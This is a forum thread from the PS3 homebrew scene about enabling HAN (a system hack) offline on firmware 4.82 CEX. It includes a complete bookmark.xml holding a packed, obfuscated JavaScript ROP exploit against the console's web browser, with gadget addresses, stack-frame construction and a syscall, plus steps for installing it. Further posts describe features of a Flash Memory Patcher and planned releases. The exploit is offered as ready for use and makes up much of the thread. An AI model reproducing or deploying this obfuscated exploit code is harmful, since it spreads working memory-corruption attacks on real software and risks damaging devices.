PS3 [Tutorial] How to enable HAN offline

The bookmarks.xml can be used as described in OP however it is not exactly practical, especially as the size of the exploit code is getting larger. 4.0 exploit pages would require dozens & dozens of bookmarks... The URL max size limit cannot be avoided & browser bookmarks are not usually accessible from js to be manipulated, the standard workaround in such a case being a complex "hosted bookmarklet" system which might not even work in this instance due to constraints. I won't dig any deeper in this direction but others are welcome to.
Anyway, I considered another way to run our js locally, much simpler, without bookmarks, the tests I am currently running are very promising.. ;)
Yeah, I realise how impractical this solution is. I'm able to get the code down to maybe 4 or 5 bookmarks, but even then I'd much rather if it could all be loaded from just 1. Good luck with your testing.
I have the way to do this. To use plenty of code that you wish and just one single bookmark needed. But I need to test first.
Mind sharing? Just curious if you're using the same file and all, since I'd like to know how you got around the limit.
 
so when it will be published please it will make HAN More easier no internet no Local sever no Android Server ...
An official feature can only get considered for release if & when it is deemed sufficiently worthy, appropriate & ready for mass usage.
For the moment, those conditions are not fulfilled so there is no point talking about release dates yet. We have no deadline to meet & we can afford to be thorough (or try to be lol)...

Once the research is completed, if successful, the whole thing will still need to be implemented, adapted to every single ps3xploit tool, all fully tested & reviewed. That could take some time and depending on the outcome, a local/offline version of the exploit might get released at the same time as the 4.0 update, at a later stage, or not at all.

And before you ask, I cannot give an expected release date for the 4.0 update at this stage either. I am still working on implementing new features as I go along updating one tool after the other & polishing the mostly rewritten js code. Some v4.0 tools are fully completed & I am very happy with the result, others still need to be worked on. The 4.0 toolset will be released when ready & fully tested.
 
Yes, you are correct.
The Flash Memory Patcher is one of the 4.0 tools I have already completed.
i test the bookmark method and make a video and i am on uploadin it on youtube to link it here it load sequencly from 1 to 8 then tell you o quit navigator and its faster than using internet or pkg linker aka local server
 
and what diffrence memory patcher have ?
In short, here are the most important features added to the 4.0 Flash Memory Patcher.

1. It checks the minimum installable fw version. If console is not cfw compatible, no patching is done.
2. It checks the integrity of the patch file by comparing its sha1 hash. If the file is not valid, no patching is done.
3. It detects the Flash Memory type (nor/nand) automatically & applies the appropriate patch accordingly. No separate versions for nor/nand anymore so no possible user error.
4. It checks the contents of the Flash Memory after patching by comparing the sha1 hash of each ROS region against expected sha1 hash from the patch data. Any flashing error is flagged up on screen.
5. The patch file is no longer the 3Mb file we used previously. From now on, the standard current 7Mb no-fsm patch used by pyps3patcher (from @littlebalup) will be used by default. Iirc it's made with a Ferrox base.
With this standard patch file, users flashing a console on CFW by mistake will no longer brick. And installing OFW twice before patching to avoid cfw installation errors should no longer be necessary.

Afaik, this new version addresses every single possible user error & should make bricking extremely rare, limited to power outage situations.

The 4.0 Flash Memory extractor tool is also completed. It detects the Flash memory type automatically, dumps the nor/nand/emmc to file then checks for signatures. It is not meant to be a full validation though, only a signature check to ensure the dump is not empty or half empty & does contain 2 ROS regions. Full validation would still need to be done on PC when appropriate. IDPS & MinVerChk are also automatically displayed on screen as a result of the dump process.
 
Last edited:
After heavily optimizing the script, I'm happy to say I managed to fit everything within a single bookmark! Updated the OP with the new script, enjoy!
yeah, great work dude! this method is very interesting. as @bguerville said, we have an offline method that we are testing, but the bookmark idea actually plays well with our method, i think.

that being said, i believe your bookmark method may able to be incorporated in official tools down the road, after talking it over with others and crediting you, of course, officially :)

other team members can chime in lol

good things are coming :D
 
After heavily optimizing the script, I'm happy to say I managed to fit everything within a single bookmark! Updated the OP with the new script, enjoy!

Good work Thanks man. Hope to improve it to start from XMB just a one click.Thanks again.

Sent from my iPhone using Tapatalk
 
Last edited:
After heavily optimizing the script, I'm happy to say I managed to fit everything within a single bookmark! Updated the OP with the new script, enjoy!
Wow! Great work!
I see a great promising future for Ps3xploit for new ps3 models!
 
I've found a way to enable HAN without an internet connection or external device. This script will only work on 4.82 CEX. However, it can easily be ported to lower firmwares.

Transfer this file using HAN file copier or whichever method you prefer to "/dev_hdd0/home/00000001/webbrowser/bookmark.xml" (where 00000001 is your user ID, you can get this from your save data). This will replace all of your bookmarks.

Code:
<?xml version="1.0"?>
<bookmark><entry><title>PS3Xploit - Offline HAN Enabler by lmn7</title>
<url>javascript:eval(function(p,a,c,k,e,r){e=function(c){return(c&lt;a?'':e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('5 S,U,T,N,17,12,Y,13,1y=!1,1B="4J",25="4v",22="4q",1q=[],I=0,1o=0,1C=0,C=4p,18=4o,y=2*1r,1t=0,Q=0,G=4n,1v=0,2c=20,1h=0,1L=4m,4j=4i,q=4g,2i=0,4f=1,4e=2,4c=4,4b=8,1r=4a,49=40,27=48,2A=47,1G=46,45=44,1N=41,2a=3Z,3Y=3X,2f=3W,3V=3U,2r=3T,3S=0,2v=3N,3M=3L,3J=3I,3H=3G,3F=3D,3C=3B,3A=3z,2b=3w,1R=3v,1i=3u,2h=3t,2n=3s,2p=3r,2s=3p;H.3o(\'&lt;2w&gt;&lt;2x&gt;&lt;2y&gt;3n - 3m 2B 3l 3k 3j&lt;/2y&gt;&lt;/2x&gt;&lt;2F E="3i" O="3h-3g:#3d"&gt;&lt;1s E="3c"&gt;&lt;2P&gt;3b 2B...&lt;/2P&gt;&lt;1b E="3a" O="28:1P"&gt;&lt;p&gt;&lt;J E="39" 1u="J" 1p="1A(D);" 38&gt;37&lt;/J&gt; | 36 &lt;2j 1u="2k" E="2l" 2m="35" 1V="1V" 1p="34();"/&gt;&lt;1b E="33" O="28:1P"&gt;&lt;2j 1u="2k" E="2q" 2m="31" 2V="" 1p="2q();"/&gt;&lt;/1b&gt;&lt;/p&gt;&lt;p&gt;&lt;J E="30" 2V="" 1u="J" 1p="1T();"&gt;2Z&lt;/J&gt;&lt;1b E="2Y" O="28:1P"&gt; | &lt;J E="2X" 1u="J" 1p="3R();"&gt;2W&lt;/J&gt;&lt;/1b&gt;&lt;/p&gt;&lt;/1b&gt;&lt;1s E="X" &gt;&lt;/1s&gt;&lt;1s E="1g"&gt;&lt;/1s&gt;&lt;/2F&gt;&lt;/2w&gt;\');o P(a){9 F.1E(a)}o w(a){9 F.1E(a&gt;&gt;16)+F.1E(a)}o r(a){9 w(0)+w(a)}F.Z.2M=o(){9(\'1Z\'+A).L(-4)};F.Z.23=o(a){5 b=\'\';5 i=0;B(i&lt;A.v){7(a===D){b+=A.19(i).1Q(16).2M()}W{b+=A.19(i).1Q(16)}i+=1}9 b};F.Z.1K=o(a){7(A.v&lt;1){9\'\'}5 b=\'\';5 c=\'\';5 i=0;5 d=[];7(a===D){b=A}W{b=A.23()}B((b.v%4)!==0){b+=\'1F\'}7(b.L(b.v-3,2)!==\'1F\'){b+=\'1Z\'}B(i&lt;b.v){c=b.L(i,4);d.1U(F.1E(1D(c,16)));i+=4}9 d.1W(\'\')};F.Z.29=o(a){7(A.v&lt;1){9 0}5 b=\'\';7(a===D){b=A}W{b=A.23()}B((b.v%4)!==0){b+=\'1F\'}7(b.L(b.v-3,2)!==\'1F\'){b+=\'1Z\'}9 b.v/2};F.Z.1d=o(a,b){9 A.L(0,a)+b+A.L(a+b.v)};F.Z.1x=o(a){9 2S 2Q(a+1).1W(A)};2O.Z.2L=o(){5 a=F(A).3e(/[3f]/);7(a.v===1){9 a[0]}5 z=\'\',2J=A&lt;0?\'-\':\'\',1z=a[0].2E(\'.\',\'\'),1n=2O(a[1])+1;7(1n&lt;0){z=2J+\'0.\';B(1n++){z+=\'0\'}9 z+1z.2E(/^\\-/,\'\')}1n-=1z.v;B(1n--){z+=\'0\'}9 1z+z};o 2C(a,b,c){5 d=0;5 g=[];5 i;5 j;5 h;1w(i=a.v;i;i-=1){h=a[i-1];1w(j=8;j;j-=1){g.1U(h%2?1:0);h=h&gt;&gt;1}}g.3q();5 k=g.1W(\'\');5 l=(1&lt;&lt;(b-1))-1;5 s=1D(k.1X(0,1),2)?-1:1;5 e=1D(k.1X(1,1+b),2);5 f=1D(k.1X(1+b),2);7(e===(1&lt;&lt;b)-1){d=f!==0?3x:s*3y}W 7(e&gt;0){d=s*1J.1I(2,e-l)*(1+f/1J.1I(2,c))}W 7(f!==0){d=s*1J.1I(2,-(l-1))*(f/1J.1I(2,c))}W{d=s*0}9 d.2L()}o 2T(a,b){5 c=2S 2Q((a&gt;&gt;24)&amp;V,(a&gt;&gt;16)&amp;V,(a&gt;&gt;8)&amp;V,(a)&amp;V,(b&gt;&gt;24)&amp;V,(b&gt;&gt;16)&amp;V,(b&gt;&gt;8)&amp;V,(b)&amp;V);9 2C(c,11,3E)}o 2N(a,b){5 n=(a&lt;&lt;32)|((b&gt;&gt;1)-1);9 2T(a,(n-a))}o 21(a,b){7(H.M(\'X\')){H.M(\'X\').O.1O="3K("+2N(a,b)+")"}}o 1l(a,b,c){7(H.M(\'X\')){21(a,b);7(1y===D){5 x=H.M(\'X\').O.1O.L(6,c);9 x}9 H.M(\'X\').O.1O.L(6,c)}}o 1g(a){7(H.M(\'1g\')){H.M("1g").3O=-3P("3Q(4L"+a.1Q(16)+")")}}o 2u(a){5 b=H.M(\'2l\');7(b){7(b.1V===D)2t.2o()}}o K(){7(1v&lt;2c){I=1M(1A,2e,2d)}W{1v=0;I=0}}o 1f(a,b,c,d){21(c,d);5 e=H.M(\'X\').O.1O.L(6,d);5 i=0;5 t;5 k;5 f;5 g;B(i&lt;(e.v*2)){7(e.19(i/2)===b.19(0)){f=0;1w(k=0;k&lt;(b.v*2);k+=42){7(e.19((i+k)/2)!==b.19(k/2)){43}f+=1}7(f===b.v){g=c+i+4;1w(t=0;t&lt;1q.v;t+=1){7(1q[t]===g){9-1}}1q.1U(g);9 g}}i+=R}5 h=c+d;9 0}o 1S(a,b,c){9 2H(2b,a,b,c,0,0,0,0,0,0,1Y)}o 1m(a,b,c,d,e){7(c===1a){c=G}7(d===1a){d=G}7(e===1a){e=G}9 r(2h)+u(1c,q)+r(b)+1k(1H,q)+r(a-4d)+u(R,q)+r(2p)+u(1Y,q)+r(c)+r(d)+r(e)+r(1L)+1k(1H,q)}o 2D(){9 14("\\2g\\4h")+w(2v)+w(27)+u(1j,q)+r(27)+u(1Y,q)}o 2R(){9 r(2s)+14("\\4k")}o 4l(a,b,c,d,e,f,g,h,i,j){7(j===1a){j=G}9 r(1i)+u(1c,q)+r(G)+u(R,q)+r(1R)+u(2K,q)+1e(2I,q)+w(a)+w(i)+w(g)+w(f)+w(e)+w(d)+w(c)+1e(15,q)+w(h)+u(1j,q)+r(b)+u(R,q)+r(1i)+u(1c,q)+r(G)+u(R,q)+r(2n)+u(1c,q)+r(j)+r(1L)+1k(1H,q)}o 2H(a,b,c,d,e,f,g,h,i,j,k,l,m){5 n=1j;7(m===1a){m=G}7(l===1a){l=G}9 r(1i)+u(1c,q)+r(G)+u(R,q)+r(1R)+u(2K,q)+1e(2I,q)+w(j)+w(i)+w(g)+w(f)+w(e)+w(d)+w(c)+1e(15,q)+w(h)+u(1j,q)+r(b)+u(R,q)+r(1i)+u(1c,q)+r(l)+u(R,q)+r(a)+u(k-n,2i)+r(m)+r(1L)+1k(1H,q)}o 1e(a,b){5 c=\'\';5 d=0;5 e=P(b);B(d&lt;a/4){c+=e.1x(2);d++}9 c}o 1k(a,b){5 c=\'\';5 d=0;5 e=P(b);B(d&lt;a/8){c+=e.1x(4);d++}9 c}o u(a,b){5 c=\'\';5 d=0;5 e=P(b);B(d&lt;a/16){c+=e.1x(8);d++}9 c}o 2G(){1q=[];17=0;12=0;Y=0;13=0;1o=0;1C=0;C=4r*4s;18=4t;y=2*1r;Q=0*1r;1t=0*1r;1v++}o 1A(a){4u{7(a===D){1h=0;1t=0;Q=0}7(I!==0){2U(I);I=0}2G();S=22.1K()+1B.1K(D)+25.1K(D)+14("\\4w");B(17===0){7(C&lt;y){K();9}S=S.1d(0,P(4x));17=1f("S",S,18,y);C-=y}1o=17+22.29()-15;1C=1o+1B.29(D);U=2D()+1m(2a,1G+4)+1m(2f,1G+4)+1m(2r,1G+4)+1m(2A,1N)+1S(1N-1j,1C,(25.v/2))+1S(1N,1o,(1B.v/2))+2R();B(12===0){7(C&lt;y+Q){1h++;7((1h%10)===0){1t+=0;Q+=0}K();9}U=U.1d(0,P(4y));12=1f("U",U,18+1t,y+Q);7(12==-1)7(C&lt;y+Q){1h++;K();9}C-=y+Q}T=14("\\4z\\4A")+u(4B,4C)+w(12)+14("\\4D");B(Y===0){7(C&lt;y){K();9}T=T.1d(0,P(4E));Y=1f("T",T,18,y);7(Y==-1)7(C&lt;y){K();9}C-=y}N=14("\\2g\\4F")+w(Y)+14("\\4G");B(13===0){7(C&lt;y){K();9}N=N.1d(0,P(4H));13=1f("N",N,18,y);7(13==-1)7(C&lt;y){K();9}C-=y}5 b=1l(12-15,4I,U.v);5 x=1l(17-15,26,S.v);5 c=1l(Y-15,26,T.v);5 d=1l(13-15,26,N.v);7((c===T)&amp;&amp;(d===N)&amp;&amp;(x===S)&amp;&amp;(b===U)){7(I!==0){2U(I)}1T()}W{K()}}4K(e){1y=D;1y=2d}}o 1T(){1M(1g,2e,13);1M(2u,2z);1M(2t.2o,2z);I=0;1v=0}1A(D);',62,296,'|||||var||if||return|||||||||||||||function||dbyte41|hexdw2bin|||fill_by_16bytes|length|hexw2bin||search_size||this|while|search_max_threshold|true|id|String|gtemp_addr|document|t_out|button|load_check|substr|getElementById|jump_1|style|hexh2bin|search_size_ext|0x10|xtra_data|jump_2|stack_frame|0xFF|else|exploit|jump_2_addr|prototype|||stack_frame_addr|jump_1_addr|unescape|0x4||xtra_data_addr|search_base|charCodeAt|null|span|0x60|replaceAt|fill_by_4bytes|findJsVariableOffset|trigger|frame_fails|gadget_mod2_addr|0x20|fill_by_8bytes|checkMemory|store_word|mag|ps3xploit_ecdsa_key_addr|onclick|offset_array|mbytes|div|search_base_off|type|total_loops|for|repeat|debug|str|initROP|ps3xploit_ecdsa_key|index_key_addr|parseInt|fromCharCode|00|vsh_opd_patch|0x8|pow|Math|convert|sp_exit|setTimeout|vsh_ps3xploit_key_toc|src|hidden|toString|gadget_mod1_addr|memcpy|triggerX|push|checked|join|substring|0x70|0000||readMemory|start_x|toAscii||index_key|0x1000|toc_addr|visibility|convertedSize|toc_entry1_addr|gadget8_addr|max_loops|false|1000|toc_entry3_addr|u4141|gadget_mod3_addr|dbyte00|input|checkbox|auto_close|name|gadget_mod4a_addr|close|gadget_mod7_addr|dex|toc_entry5_addr|gadget_mod8_addr|window|rop_exit|gadget1_addr|html|head|title|2000|default_vsh_pub_toc|HAN|fromIEEE754|stack_frame_hookup|replace|body|initDefaults|callsub|0xC|sign|0x50|noExponents|toHex16|generateExploit|Number|h1|Array|stack_frame_exit|new|generateIEEE754|clearTimeout|disabled|Reset|btnReset|reset|En|btnTrigger|DEX||dex_txt|autoclose|aclose|Close|Initialize|autofocus|btnROP|hideme|Enabling|headerId|FFFFFF|split|eE|color|background|bodyId|lmn7|by|Enabler|Offline|PS3Xploit|write|2862264|reverse|108204|890500|757248|80756|6352696|131072|NaN|Infinity|131024|gadget7_addr|6380604|gadget6_addr|1227548|52|gadget5_addr|2267192|gadget4_addr|872540|gadget3_addr|local|6332484|gadget2_addr|620036|innerHTML|parseFloat|NAN|disable_trigger|toc_entry6_addr|7255744|7602176|toc_entry4_addr|7185352|7494200|toc_entry2_addr|7185360||7370612|0x2|break|7256936|vsh_opd_addr|617820|7263652|7296336|stat_size_offset|1048576|dword_size|word_size|0xC74|hword_size|byte_size|16705|u2A2F|4294967295|ffs|u2F2A|syscall|2413354176|2365587456|2148532224|73400320|xxxx|70|0x100000|0x80100000|try|DA7D4B5E499A4F53B1C1A14A7484443B|uFD7E|0x7EFD|0x2A2F|u0102|u7EFB|0x30|0x8282|uFB7E|0x7EFB|u7EFA|uFA7E|0x7EFA|0x8000|948DA13E8CAFD5BA0E90CE434461BB327FE7E080475EAA0AD3AD4F5B6247A7FDA86DF69790196773|catch|ffffe'.split('|'),0,{}))</url>
<lastvisit></lastvisit>
</entry>
</bookmark>

You should now have a new bookmark within the web browser. Simply visit this bookmark to enable HAN.

IMPORTANT: I did not write this script, all credit goes to team PS3Xploit. I merely optimized it for offline use.
When you say "Be ported to lower firmware(s)" Would it be possible to install HAN on 4.55 with Cobra ODE?
Or are you referring to OFW 4.81?
Enviado de meu XT1097 usando o Tapatalk
 
Last edited:
I'm excited about where this is going as well. I've been wondering if it was possible to have the HAN enabler ON the PS3 in this way, and here we are going down that road!

This is great @lmn7 , keep up the good work. It'll be nice to have another option for enabling HAN, one that doesn't have to depend on another device or internet access.

"HAN is starting to evolve..." *wiggle wiggle, wiggle wiggle*
"HAN has evolved into... IndependHANt"
(The cheesy line above shows my excitement lol)

If this gets refined(into one bookmark or XMB selection), it'd definitely make a great addition to a future HAN toolbox update.
 

Similar threads

Back
Top